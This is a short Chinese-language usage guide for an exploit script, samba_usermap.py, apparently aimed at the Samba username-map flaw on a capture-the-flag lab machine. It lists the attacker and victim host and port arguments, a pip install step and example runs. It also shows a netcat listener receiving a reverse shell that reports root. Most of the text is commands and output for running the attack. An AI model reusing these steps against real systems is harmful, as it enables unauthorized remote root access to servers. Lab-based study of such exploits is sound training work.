· 使用python3执行脚本时带--help参数,会提示我们输入一系列参数
--lhost LHOST 你的主机(接收shell的IP)
--lport LPORT 你的端口(接收shell的端口)
--rhost RHOST 远程主机(受害机器的IP)
--rport RPORT 远程端口(受害机器的端口)
· 运行脚本前请执行以下操作
pip3 install pysmb
· 示例
python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139
· 或者你可以这样做
python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139
· 脚本工作示例
python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139
· 我们收到shell
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
whoami
root